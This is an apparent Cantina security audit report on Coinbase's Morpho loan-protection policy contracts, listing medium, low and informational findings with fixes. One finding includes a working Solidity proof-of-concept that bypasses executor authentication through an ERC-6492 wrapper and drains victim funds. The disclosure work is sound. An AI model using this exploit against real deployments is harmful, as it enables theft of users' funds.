Organization
- @coinbase
Engagement Type
Cantina Reviews
Period
-
Repositories
Researchers
Findings
Medium Risk
1 findings
1 fixed
0 acknowledged
Low Risk
2 findings
2 fixed
0 acknowledged
Informational
6 findings
1 fixed
5 acknowledged
Medium Risk1 finding
Absence of post-execution health check allows top-up to feed the liquidator
State
Severity
- Severity: Medium
≈
Likelihood: Low×
Impact: High Submitted by
Sujith S
Description
The
PolicyManager._execute()implements a three-phase execution flow:- Call
policy.onExecute()to build the account call plan, 2 Execute the call plan against the account - Call
policy.onPostExecute()for post-execution validation.
This third phase exists specifically to allow policies to verify that the account call achieved its intended outcome.
However, neither
MorphoLoanProtectionPolicynorMorphoWethLoanProtectionPolicyoverride_onPostExecute()and it remains the base Policy no-op across all five layers of the inheritance chain. ThepostCallDatareturned by_onSingleExecutorExecute()is hardcoded to empty bytes.As a result, the policy only validates the position's health before the top-up (currentLtv >= triggerLtv), but never validates the outcome after the top-up. There is no on-chain guarantee that the supplied collateral actually moves the position out of the liquidation zone.
The NatSpec in
MorphoLoanProtectionPolicy.solfurther understates this risk:/// Even after a successful top-up, the position may become/// unhealthy again in subsequent blocks.This implies the top-up at least restores the position to a healthy state within the current block, with the risk being future
degradation. This is incorrect as the position can remain above LLTV immediately after the top-up within the same transaction, due to market movement between the executor's signature and the transaction's inclusion.PoC
The following scenario demonstrates concrete fund loss:
Setup:
- WETH/USDC market: LLTV = 90%, triggerLtv = 80%, maxTopUpAssets = 10 WETH
- Position: 100 WETH collateral, 72,000 USDC debt
- WETH = $1,000 → LTV = 72,000 / 100,000 = 72% (healthy)
Step 1: Trigger detected:
- WETH drops to $900 → collateral value = $90,000
- LTV = 72,000 / 90,000 = 80% → hits triggerLtv
- Executor signs a 10 WETH top-up and submits the transaction
Step 2: Price moves before inclusion:
- Before the transaction is mined, WETH crashes to $700
- Collateral value = 100 × $700 = $70,000
- LTV = 72,000 / 70,000 = 102.9% → already above LLTV, position is liquidatable
Step 3: Top-up executes anyway:
- The pre-execution LTV check passes: 102.9% >= 80% triggerLtv ✓
- The one-shot is consumed: _usedPolicyId[policyId] = true
- 10 ETH is wrapped to WETH, approved, and supplied as collateral to Morpho
- Post top-up state: 110 WETH at $700 = $77,000 collateral value
- New LTV = 72,000 / 77,000 = 93.5% → still above LLTV (90%)
- No post-execution check exists to catch this as
_onPostExecute()is a no-op
Step 4: Liquidation seizes the freshly added collateral:
- The position remains liquidatable immediately after the top-up
- A liquidator seizes collateral, including the 10 WETH just supplied
- The one-shot is permanently consumed as no further protection is available
Without the top-up, the user keeps 10 ETH in their wallet. Only the existing 100 WETH collateral is exposed to the liquidator. With the top-up, the user loses an additional 10 ETH that is seized by the liquidator for zero benefit
Recommendation
Use the existing
_onPostExecute()hook to verify the position exited the liquidation zone after the top-up. Return the necessary context (market ID, market params) viapostCallDatafrom_onSingleExecutorExecute(), and override_onPostExecute()in MorphoLoanProtectionPolicy to recompute the post-top-up LTV and revert if it remains at or above lltv.This causes the entire transaction to revert and the ETH stays in the wallet, the one-shot is preserved, and the executor can retry with a larger amount or the account can take alternative action.
Additionally, update the NatSpec disclaimer to accurately reflect that a successful top-up does not guarantee the position becomes healthy within the current block.
Coinbase: Fixed in 6b0f3f8
Cantina: Verified fix.
Low Risk2 findings
Parameter triggerLtv lacks minimum buffer from market lltv, reducing policy effectiveness
State
Severity
- Severity: Low
Submitted by
Sujith S
Description
The function
_onSingleExecutorInstall()inMorphoLoanProtectionPolicyis responsible for setting the policy’s initial parameters at installation. However, it only enforces a single constraint ontriggerLtv: that it must be strictly less than the market’slltv.if (config.triggerLtv >= marketParams.lltv) revert TriggerLtvAboveLltv(config.triggerLtv, marketParams.lltv);This effectively permits configurations where
triggerLtvis set extremely close to lltv (e.g., 85.9999% when lltv is 86%). In such cases, the executor has almost no practical window to react detecting the risky position, signing the intent, and submitting the transaction before the position becomes liquidatable.Even minor changes, such as a single block’s interest accrual or an oracle price update, can push the LTV past the threshold. As a result, the protection mechanism becomes unreliable: it may trigger too late (after liquidation eligibility) or fail to trigger altogether if the LTV jumps directly beyond the configured threshold.
Recommendation
Enforce a minimum buffer (e.g., 5% in WAD) between
triggerLtvandlltvat install time:uint256 public constant MIN_LTV_BUFFER = 0.05e18; if (config.triggerLtv + MIN_LTV_BUFFER > marketParams.lltv) revert TriggerLtvTooCloseToLltv(config.triggerLtv, marketParams.lltv);This ensures the executor has a meaningful reaction window between the trigger firing and the position becoming liquidatable.
Coinbase: Fixed in b5f298ee
Cantina: Verified fix. The proportional ratio approach is better than the absolute buffer we recommended. An additional recommendation is to enforce constructor bounds on
MAX_TRIGGER_LTV_RATIO(for example0 < ratio < 1e18) and keep an explicittriggerLtv < lltvinstall time check as defense in depth, so misconfiguration cannot weaken the buffer guarantee.No minimum top-up enforcement, executor can waste one-shot with dust amount
State
Severity
- Severity: Low
Submitted by
Sujith S
Description
In the function
_onSingleExecutorExecute(), the top-up amount is validated as:if (topUpAssets == 0) revert ZeroAmount(); if (topUpAssets > config.maxTopUpAssets) revert TopUpAboveMax(topUpAssets, config.maxTopUpAssets);There is a ceiling (maxTopUpAssets) but no floor. The executor chooses
topUpAssetsfreely and signs over it the config gives the account no way to enforce a minimum useful amount. A malicious or buggy executor can sign a top-up of 1 wei, which:- Passes all validation (non-zero, under max, LTV above trigger)
- Permanently consumes the one-shot (_usedPolicyId[policyId] = true)
- Has negligible effect on the position's LTV
The account loses their protection and must uninstall, re-install (or replace), and obtain a new executor signature to restore coverage all while the position remains at risk.
Recommendation
Rather than a static
minTopUpAssets(which is hard to size correctly across market conditions), consider enforcing a target LTV in the config that the post-top-up position must satisfy. The_onPostExecute()hook (currently unused) can verify that the position's LTV after the top-up is below a configured threshold (e.g., triggerLtv or a separate targetLtv). If the top-up is insufficient to reach the target, the entire transaction reverts, preserving the one-shot and the account's ETH.Coinbase: Fixed in 6b0f3f8
Cantina Verified fix. This only protects against dust top-ups when the position is near or above LLTV. If
the position is at 80% LTV (well below 90% LLTV), a dust top-up would still pass the post-hook (post-top-up LTV ≈ 80%, still below LLTV). But in that scenario, the one-shot waste is less harmful and the position isn't at immediate liquidation risk. The fix handles the dangerous case correctly.
Informational6 findings
Third party collateral supply frontrunning can lead to repeated protection policy reverting and delayed execution
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Christos Pap
Description
Morpho Blue's
supplyCollateralaccepts anonBehalfparameter, allowing anyone to supply collateral to any account's position. A malicious actor can monitor the mempool for the executor'sPolicyManager.executetransaction and front run it by supplying a small amount of collateral to the target account's Morpho position. This temporarily lowers the account's LTV belowtriggerLtv, causing the protection policy to revert withHealthyPosition. Although the one shot is not consumed (as the entire transaction reverts), the protection is delayed. If repeated, the position can reach LLTV and be liquidated while the policy never successfully fires.The pre-execution LTV check in both
MorphoLoanProtectionPolicyandMorphoWethLoanProtectionPolicycompares the current on-chain LTV at execution time againsttriggerLtv:src/policies/MorphoLoanProtectionPolicy.soluint256 currentLtv = _computeCurrentLtv(config, marketParams, account);if (currentLtv < config.triggerLtv) revert HealthyPosition(currentLtv, config.triggerLtv);The
_computeCurrentLtvfunction reads the position's collateral directly from Morpho Blue's state, which reflects any collateral supplied by third parties in the same block:src/policies/MorphoLoanProtectionPolicy.solmorphoBlue.accrueInterest(marketParams); Position memory position = morphoBlue.position(config.marketId, account);Market memory market = morphoBlue.market(config.marketId); uint256 collateralBefore = uint256(position.collateral);Morpho Blue's
supplyCollateralis permissionless for theonBehalfparameter and anyone can supply collateral to any position:IMorphoBlue.supplyCollateralfunction supplyCollateral( MarketParams calldata marketParams, uint256 assets, address onBehalf, // ← any address, no authorization required bytes calldata data) external;Recommendation
It's recommended to configure the executor bot to use private mempools (for example Flashbots Protect) to prevent front running visibility, and implement retry logic on
HealthyPositionreverts, and consider adding a small buffer belowtriggerLtvin the LTV check to absorb minor collateral donations without reverting.Coinbase: Acknowledged, no-op. We noted this scenario with our product team.
Cantina: Acknowledged.
Parameter triggerLtv of zero allows unconditional execution regardless of position health
Severity
- Severity: Informational
Submitted by
Sujith S
Description
In function
_onSingleExecutorExecute()ofMorphoWethLoanProtectionPolicy, the LTV trigger check is:if (currentLtv < config.triggerLtv) revert HealthyPosition(currentLtv, config.triggerLtv);Since currentLtv is a uint256, the condition
currentLtv < 0is never true. AtriggerLtvof zero therefore means the executor can trigger the one-shot top-up at any time, even when the position is perfectly healthy. The install validation only enforcestriggerLtv < lltv, zero passes this check for any valid market.An account setting
triggerLtv = 0gives the executor unconditional authority to wrap the account's ETH into collateral at any moment.Recommendation
Enforce
triggerLtv > 0at install time in_onSingleExecutorInstall(), or document that zero means "always trigger" so account signers are aware of the semantics.Coinbase: Fixed in PR 28
Cantina: Verified fix.
Unbound ERC-6492 wrapper enables attacker to deploy arbitrary ERC-1271 code at counterfactual executor address
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Christos Pap
Description
In
SingleExecutorPolicy, execution authentication via_validateAndConsumeExecutionIntent→_isValidExecutorSigvalidates executor signatures throughPublicERC6492Validator.isValidSignatureNowAllowSideEffects. However, the signed execution digest does not bind the ERC-6492 wrapper preimage (factoryAddress,factoryCalldata).The policy treats the configured executor address as the authentication boundary, but under side-effect-capable ERC-6492 validation the code that ultimately answers
isValidSignaturecan be determined at validation time by the relayer via the wrapper. This breaks the implicit invariant that the executor address corresponds to fixed verification logic.If the executor is configured as a counterfactual (undeployed) address, a relayer can submit an ERC-6492 wrapper that deploys attacker-controlled ERC-1271 code at that same executor address during validation, causing attacker signatures to pass.
Exploitability depends on whether the configured counterfactual executor address is attacker-deployable. If the executor address is derived from a permissionless deployment path (for example a factory + salt combination that allows arbitrary deployment), an untrusted relayer can deploy attacker-controlled code there during ERC-6492 validation. If the deployment path is restricted, or if the executor is already deployed with trusted code, the attack is blocked.
The relayer controls the ERC-6492 wrapper, including the factory and deployment calldata supplied to the validator. However, exploitation succeeds only if the chosen wrapper reproduces a deployment path that can instantiate code at the preconfigured executor address. In practice, this requires that the configured counterfactual executor address is attacker-deployable via its actual deployment mechanism (for example the same factory, salt, and deployment semantics, or another equivalent mechanism that yields that exact address).
The executor signature validation always routes through the side-effect-capable path:
src/policies/SingleExecutorPolicy.solfunction _isValidExecutorSig(address executor, bytes32 digest, bytes memory signature) internal returns (bool) { return policyManager.PUBLIC_ERC6492_VALIDATOR().isValidSignatureNowAllowSideEffects(executor, digest, signature);}The signed digest binds
policyId,account,policyConfigHash,actionDataHash,nonce, anddeadline, but not the ERC-6492 wrapper fields:src/policies/SingleExecutorPolicy.solfunction _getExecutionDataHash(bytes memory actionData, uint256 nonce, uint256 deadline) internal pure returns (bytes32){ return keccak256(abi.encode(EXECUTION_DATA_TYPEHASH, keccak256(actionData), nonce, deadline));}The install path only checks that the executor address is non-zero, and it does not verify the address has code or pin any deployment invariants:
src/policies/SingleExecutorAuthorizedPolicy.solfunction _onInstall(bytes32 policyId, address account, bytes calldata policyConfig) internal override { _storeConfigHash(policyId, policyConfig); (SingleExecutorConfig memory singleExecutorConfig, bytes memory policySpecificConfig) = _decodeSingleExecutorConfig(policyConfig); if (singleExecutorConfig.executor == address(0)) revert ZeroExecutor(); _onSingleExecutorInstall(policyId, account, singleExecutorConfig, policySpecificConfig);}Proof Of Concept
The PoC demonstrates that when the executor is an undeployed counterfactual address and its deployment path is attacker-controllable, a relayer can use an ERC-6492 wrapper to deploy arbitrary ERC-1271 code at that address during validation and bypass executor authentication. It intentionally interacts with a permissionless factory that allows deployment to the target address (via a controllable salt), modeling a configuration where the executor address is attacker-deployable. This results in successful execution of a value-moving action without a valid signature from the intended executor.
This issue is exploitable when all of the following hold:
- The executor is a counterfactual (undeployed) address
- Signature validation uses ERC-6492 with side effects
- The executor address is attacker-deployable via its actual deployment path
- The signed execution intent does not bind deployment preimage (factory + calldata)
If the executor is already deployed, or its deployment path is restricted (for example fixed factory, controlled salt, or bound initcode), the attack is not possible.
Step 1. Add the following test file to the repository at
test/unit/policies/MorphoLendPolicy/erc6492CounterfactualExecutorExploit.t.sol:// SPDX-License-Identifier: MITpragma solidity ^0.8.23; import {Test} from "forge-std/Test.sol"; import {ERC20} from "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; import {ERC1967Factory} from "solady/utils/ERC1967Factory.sol"; import {MockCoinbaseSmartWallet} from "../../../lib/mocks/MockCoinbaseSmartWallet.sol";import {MockMorphoVault} from "../../../lib/mocks/MockMorpho.sol"; import {PublicERC6492Validator} from "../../../../src/PublicERC6492Validator.sol";import {PolicyManager} from "../../../../src/PolicyManager.sol";import {MorphoLendPolicy} from "../../../../src/policies/MorphoLendPolicy.sol";import {SingleExecutorPolicy} from "../../../../src/policies/SingleExecutorPolicy.sol"; /// @dev ERC-20 token with public mint for test setup.contract MintableTokenCF is ERC20 { constructor() ERC20("Loan", "LOAN") {} function mint(address to, uint256 amount) external { _mint(to, amount); }} /// @dev ERC-1271 implementation that accepts ANY signature./// Deployed by the attacker at the counterfactual executor address during validation.contract AlwaysValidERC1271 { function isValidSignature(bytes32, bytes calldata) external pure returns (bytes4) { return 0x1626ba7e; }} /// @dev Minimal verifier shim placed at Solady's hardcoded non-reverting ERC-6492 verifier address./// Executes the side-effect (factory deploy) before validating the inner ERC-1271 signature.contract TestERC6492VerifierCF { bytes4 internal constant ERC1271_MAGICVALUE = 0x1626ba7e; fallback(bytes calldata data) external returns (bytes memory result) { if (data.length < 64) return bytes(""); address signer; bytes32 digest; assembly { signer := and(calldataload(0), 0xffffffffffffffffffffffffffffffffffffffff) digest := calldataload(32) } bytes calldata wrapped = data[64:]; (address target, bytes memory prepareCalldata, bytes memory innerSig) = abi.decode(wrapped, (address, bytes, bytes)); // Side effect: deploys attacker code at the executor address. (bool prepared,) = target.call(prepareCalldata); if (!prepared) return bytes(""); // Validate the inner signature against the newly deployed executor. (bool ok, bytes memory ret) = signer.staticcall(abi.encodeWithSelector(ERC1271_MAGICVALUE, digest, innerSig)); if (!ok || ret.length < 32) return bytes(""); if (abi.decode(ret, (bytes4)) != ERC1271_MAGICVALUE) return bytes(""); return hex"01"; }} /// @title ERC6492CounterfactualExecutorExploitTest////// @notice Demonstrates the strongest variant of the ERC-6492 side-effect attack:/// the executor is a counterfactual (undeployed) address predicted via CREATE2./// The attacker uses the ERC-6492 wrapper to deploy AlwaysValidERC1271 code at/// that address during signature validation, then executes an unauthorized/// MorphoLend deposit that moves funds from the victim's wallet.////// This variant requires NO special properties on the executor (no mutable signer,/// no access control weakness), the attacker deploys their own code from scratch.contract ERC6492CounterfactualExecutorExploitTest is Test { bytes32 internal constant DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f; bytes32 internal constant EXECUTION_TYPEHASH = keccak256( "Execution(bytes32 policyId,address account,bytes32 policyConfigHash,ExecutionData executionData)" "ExecutionData(bytes actionData,uint256 nonce,uint256 deadline)" ); bytes32 internal constant EXECUTION_DATA_TYPEHASH = keccak256("ExecutionData(bytes actionData,uint256 nonce,uint256 deadline)"); address internal constant ERC6492_VERIFIER = 0x0000bc370E4DC924F427d84e2f4B9Ec81626ba7E; bytes32 internal constant ERC6492_DETECTION_SUFFIX = 0x6492649264926492649264926492649264926492649264926492649264926492; // Victim: legitimate account owner uint256 internal ownerPk = uint256(keccak256("victim-owner")); address internal owner = vm.addr(ownerPk); // Attacker: untrusted relayer uint256 internal attackerPk = uint256(keccak256("attacker")); address internal attacker = vm.addr(attackerPk); MockCoinbaseSmartWallet internal account; PublicERC6492Validator internal validator; PolicyManager internal policyManager; MorphoLendPolicy internal morphoLendPolicy; MintableTokenCF internal token; MockMorphoVault internal vault; ERC1967Factory internal factory; AlwaysValidERC1271 internal alwaysValidImpl; bytes internal policyConfig; PolicyManager.PolicyBinding internal binding; bytes32 internal policyId; bytes32 internal salt; address internal counterfactualExecutor; function setUp() public { // Deploy the verifier shim at Solady's fixed address. TestERC6492VerifierCF verifierImpl = new TestERC6492VerifierCF(); vm.etch(ERC6492_VERIFIER, address(verifierImpl).code); // Core infrastructure. account = new MockCoinbaseSmartWallet(); bytes[] memory owners = new bytes[](1); owners[0] = abi.encode(owner); account.initialize(owners); validator = new PublicERC6492Validator(); policyManager = new PolicyManager(validator); morphoLendPolicy = new MorphoLendPolicy(address(policyManager), owner); vm.prank(owner); account.addOwnerAddress(address(policyManager)); // Legitimate token + vault. token = new MintableTokenCF(); vault = new MockMorphoVault(address(token)); // CREATE2 factory + attacker's implementation. factory = new ERC1967Factory(); alwaysValidImpl = new AlwaysValidERC1271(); // Open salt: first 20 bytes zero => anyone can call deployDeterministicAndCall. salt = bytes32(uint256(0x1234)); counterfactualExecutor = factory.predictDeterministicAddress(salt); // Install policy with the undeployed executor address. // The victim trusts this address will eventually be their executor. bytes memory policySpecificConfig = abi.encode( MorphoLendPolicy.LendPolicyConfig({ vault: address(vault), depositLimit: MorphoLendPolicy.DepositLimitConfig({allowance: uint160(500 ether), period: 1 days}) }) ); policyConfig = abi.encode( SingleExecutorPolicy.SingleExecutorConfig({executor: counterfactualExecutor}), policySpecificConfig ); binding = PolicyManager.PolicyBinding({ account: address(account), policy: address(morphoLendPolicy), validAfter: 0, validUntil: 0, salt: 42, policyConfig: policyConfig }); bytes memory userSig = _signInstall(binding); policyId = policyManager.installWithSignature(binding, userSig, 0, bytes("")); // Seed victim wallet with funds. token.mint(address(account), 1000 ether); } /// @notice Demonstrates the counterfactual executor attack: attacker deploys their own /// ERC-1271 code at the predicted executor address via ERC-6492 side effect, /// then executes an unauthorized deposit moving funds from the victim's wallet. function test_counterfactualExploit_deploysAttackerCodeAndDrainsFunds() public { uint256 depositAmount = 100 ether; uint256 walletBalanceBefore = token.balanceOf(address(account)); // Verify: executor address has no code yet. assertEq(counterfactualExecutor.code.length, 0, "executor should not be deployed yet"); // Step 1: Attacker signs the execution digest with their own key. // Since AlwaysValidERC1271 accepts any signature, the content doesn't matter, // but we sign properly for completeness. bytes memory actionData = abi.encode(MorphoLendPolicy.LendData({depositAssets: depositAmount})); uint256 nonce = 1; uint256 deadline = 0; bytes32 digest = _executionDigest(policyId, actionData, nonce, deadline); (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerPk, digest); bytes memory attackerInnerSig = abi.encodePacked(r, s, v); // Step 2: Craft ERC-6492 wrapper that deploys AlwaysValidERC1271 at the executor address. bytes memory deployCalldata = abi.encodeCall( ERC1967Factory.deployDeterministicAndCall, (address(alwaysValidImpl), attacker, salt, bytes("")) ); bytes memory wrappedSig = abi.encodePacked(abi.encode(address(factory), deployCalldata, attackerInnerSig), ERC6492_DETECTION_SUFFIX); // Step 3: Build the full execution data. bytes memory executionData = abi.encode( SingleExecutorPolicy.SingleExecutorExecutionData({nonce: nonce, deadline: deadline, signature: wrappedSig}), actionData ); // Step 4: Attacker calls execute as an untrusted relayer. vm.prank(attacker); policyManager.execute(address(morphoLendPolicy), policyId, policyConfig, executionData); // Verify: attacker-controlled code is now deployed at the executor address. assertGt(counterfactualExecutor.code.length, 0, "executor should now be deployed"); // Verify: funds moved from victim wallet to vault (unauthorized deposit succeeded). assertEq(token.balanceOf(address(account)), walletBalanceBefore - depositAmount, "wallet should lose funds"); assertEq(token.balanceOf(address(vault)), depositAmount, "vault should receive funds"); } /// @notice Confirms the attack fails without the ERC-6492 wrapper . the executor has /// no code, so ERC-1271 validation fails and execute reverts. function test_revertsWithoutWrapper_executorNotDeployed() public { bytes memory actionData = abi.encode(MorphoLendPolicy.LendData({depositAssets: 100 ether})); uint256 nonce = 1; bytes32 digest = _executionDigest(policyId, actionData, nonce, 0); (uint8 v, bytes32 r, bytes32 s) = vm.sign(attackerPk, digest); bytes memory attackerSig = abi.encodePacked(r, s, v); bytes memory executionData = abi.encode( SingleExecutorPolicy.SingleExecutorExecutionData({nonce: nonce, deadline: 0, signature: attackerSig}), actionData ); // Without the wrapper, executor has no code,ssignature validation fails. vm.expectRevert(abi.encodeWithSelector(SingleExecutorPolicy.Unauthorized.selector, attacker)); vm.prank(attacker); policyManager.execute(address(morphoLendPolicy), policyId, policyConfig, executionData); // Executor still undeployed, funds untouched. assertEq(counterfactualExecutor.code.length, 0); assertEq(token.balanceOf(address(account)), 1000 ether); } // ─── Helpers ─────────────────────────────────────────────────────── function _executionDigest(bytes32 policyId_, bytes memory actionData, uint256 nonce, uint256 deadline) internal view returns (bytes32) { bytes32 executionDataHash = keccak256(abi.encode(EXECUTION_DATA_TYPEHASH, keccak256(actionData), nonce, deadline)); bytes32 structHash = keccak256( abi.encode(EXECUTION_TYPEHASH, policyId_, address(account), keccak256(policyConfig), executionDataHash) ); return _hashTypedData(address(morphoLendPolicy), "Morpho Lend Policy", "1", structHash); } function _signInstall(PolicyManager.PolicyBinding memory binding_) internal view returns (bytes memory) { bytes32 policyId_ = policyManager.getPolicyId(binding_); bytes32 structHash = keccak256(abi.encode(policyManager.INSTALL_POLICY_TYPEHASH(), policyId_, 0)); bytes32 digest = _hashTypedData(address(policyManager), "Policy Manager", "1", structHash); bytes32 replaySafeDigest = account.replaySafeHash(digest); (uint8 v, bytes32 r, bytes32 s) = vm.sign(ownerPk, replaySafeDigest); bytes memory sig = abi.encodePacked(r, s, v); return account.wrapSignature(0, sig); } function _hashTypedData(address verifyingContract, string memory name, string memory version, bytes32 structHash) internal view returns (bytes32) { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(version)), block.chainid, verifyingContract ) ); return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); }}Step 2. Execute the test:
forge test --match-contract ERC6492CounterfactualExecutorExploitTest -vvvvStep 3. The results demonstrate that the attack succeeds
Ran 2 tests for test/unit/policies/MorphoLendPolicy/erc6492CounterfactualExecutorExploit.t.sol:ERC6492CounterfactualExecutorExploitTest[PASS] test_counterfactualExploit_deploysAttackerCodeAndDrainsFunds() (gas: 357715)[PASS] test_revertsWithoutWrapper_executorNotDeployed() (gas: 120359)Suite result: ok. 2 passed; 0 failed; 0 skippedFrom the produced output, we can see that:
- Executor address has no code before the attack (
counterfactualExecutor.code.length == 0) ERC1967Factory.deployDeterministicAndCall(AlwaysValidERC1271, attacker, salt, "")is called by the ERC-6492 verifier as a side effect, deploying attacker-controlled code at the executor address- The newly deployed
AlwaysValidERC1271proxy returnsMAGIC_VALUE (0x1626ba7e)for any signature PolicyManager.executeproceeds , the victim's wallet approves and deposits 100 LOAN tokens into the vault- Final state: attacker-controlled code lives at the executor address, wallet balance decreased by 100 ether, vault balance increased by 100 ether
Recommendation
The current design uses a single
EXECUTION_DATA_TYPEHASHfor all executor types (EOA, deployed ERC-1271, counterfactual ERC-6492), keeping the EIP-712 signing schema independent of the signature delivery mechanism. This means the ERC-6492 wrapper, which only matters for counterfactual executors is never bound into the signed digest for any executor type. The simplicity tradeoff leaves the wrapper entirely relayer controlled.Some approaches can fix this while respecting the design intent:
-
Extend the typehash with optional factory fields: Add
factoryAddressandkeccak256(factoryCalldata)toEXECUTION_DATA_TYPEHASH. EOA and deployed ERC-1271 executors sign over zero values for these fields. Counterfactual executors sign over the actual wrapper. Slightly messier signing flow but one typehash, and correct. -
Bind the wrapper outside EIP-712: Include a
wrapperHashfield in theSingleExecutorExecutionDatastruct (not the typehash). The executor hashes the wrapper separately and includes it alongsidenonce,deadline, andsignature. The contract verifies the wrapper matches before executing side effects. -
Disable ERC-6492 for executor signatures entirely: Use
SignatureCheckerLib.isValidSignatureNowinstead ofisValidSignatureNowAllowSideEffects, and enforcerequire(executor.code.length > 0)at install time to prevent the two-tx race. One typehash, no wrapper concern, but counterfactual executors are no longer supported.
Coinbase: Acknowledged: no-op as this is actually a security concern for 1271 signers that have insecure creation patterns, not a vulnerability specific to the protocol.
Cantina: Acknowledged.
Redundant idToMarketParams external call in _onSingleExecutorInstall
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Christos Pap
Description
In
MorphoWethLoanProtectionPolicy._onSingleExecutorInstall,IMorphoBlue(MORPHO).idToMarketParams(config.marketId)is called twice during installation: once insidesuper._onSingleExecutorInstall(via_requireMarketParams) and again immediately after to checkcollateralToken == WETH. The second call is redundant since the market params are immutable in Morpho Blue and were already fetched and validated by the parent.The parent call fetches and validates market params:
src/policies/MorphoLoanProtectionPolicy.solfunction _onSingleExecutorInstall(...) internal override { // ... MarketParams memory marketParams = _requireMarketParams(config.marketId); // _requireMarketParams calls IMorphoBlue(MORPHO).idToMarketParams(config.marketId) internally}The child calls it again to check WETH:
src/policies/MorphoWethLoanProtectionPolicy.solfunction _onSingleExecutorInstall(...) internal override { super._onSingleExecutorInstall(policyId, account, singleExecutorConfig, policySpecificConfig); LoanProtectionPolicyConfig memory config = abi.decode(policySpecificConfig, (LoanProtectionPolicyConfig)); MarketParams memory marketParams = IMorphoBlue(MORPHO).idToMarketParams(config.marketId); // ← redundant external call if (marketParams.collateralToken != WETH) revert CollateralNotWeth(marketParams.collateralToken, WETH);}Recommendation
It's recommended to keep the current implementation as-is. Given the modular design where the child override delegates to
superand then adds its own validation, refactoring to pass the already-fetchedmarketParamsdown would require changing the parent's internal API.Full reimplementation of parent execute logic in WETH override can lead to silent divergence on future updates
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Christos Pap
Description
MorphoWethLoanProtectionPolicy._onSingleExecutorExecutecompletely overrides the parentMorphoLoanProtectionPolicy._onSingleExecutorExecutewithout callingsuper. It reimplements all the mechanisms, including the one shot guard, config decoding, market param resolution, top-up validation, and LTV trigger check and only differs in the final call plan construction (ETH wrapping instead of zero approve).Any future security fixes or enhancement to the parent's validation logic must be manually mirrored in the WETH variant, or the child silently diverges. This is not an issue today, as the reimplementation is done correctly, but represents a maintenance risk worth noting.
Recommendation
No changes are needed at this time. It's advised to keep this duplication in mind, if any security fix or validation change is applied to
MorphoLoanProtectionPolicy:_onSingleExecutorExecutein the future, the same change must be manually applied toMorphoWethLoanProtectionPolicy:_onSingleExecutorExecuteas well._usedPolicyId and _configHashByPolicyId are never cleared on uninstall
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Christos Pap
Description
When a policy is uninstalled,
_clearInstallStateclearsactivePolicyByMarketandmarketKeyByPolicyIdbut does not clear policy-local state such as_configHashByPolicyId[policyId], and (for loan-protection policies)_usedPolicyId[policyId]. These storage slots can remain populated after uninstall.This is not exploitable because
policyIds are permanently "retired" by thePolicyManager: once marked uninstalled, apolicyIdcannot be reinstalled or executed. As a result, stale_configHashByPolicyIdentries and stale_usedPolicyIdflags are not reachable through meaningful execution paths.One minor side effect is that
cancelNoncesremains callable against uninstalled policies, since it only checks_requireConfigHash(which can pass against stale config hash state) andmsg.sender == executor. However, cancelling nonces on an uninstalled policy has no practical effect. Execution is blocked by thePolicyManager'spolicyRecord.uninstalledcheck before control reaches policy execution logic.The only real cost is storage growth, which is minimal.
Recommendation
No changes are required from a security perspective. The stale storage is effectively unreachable under the permanent
policyIdmodel.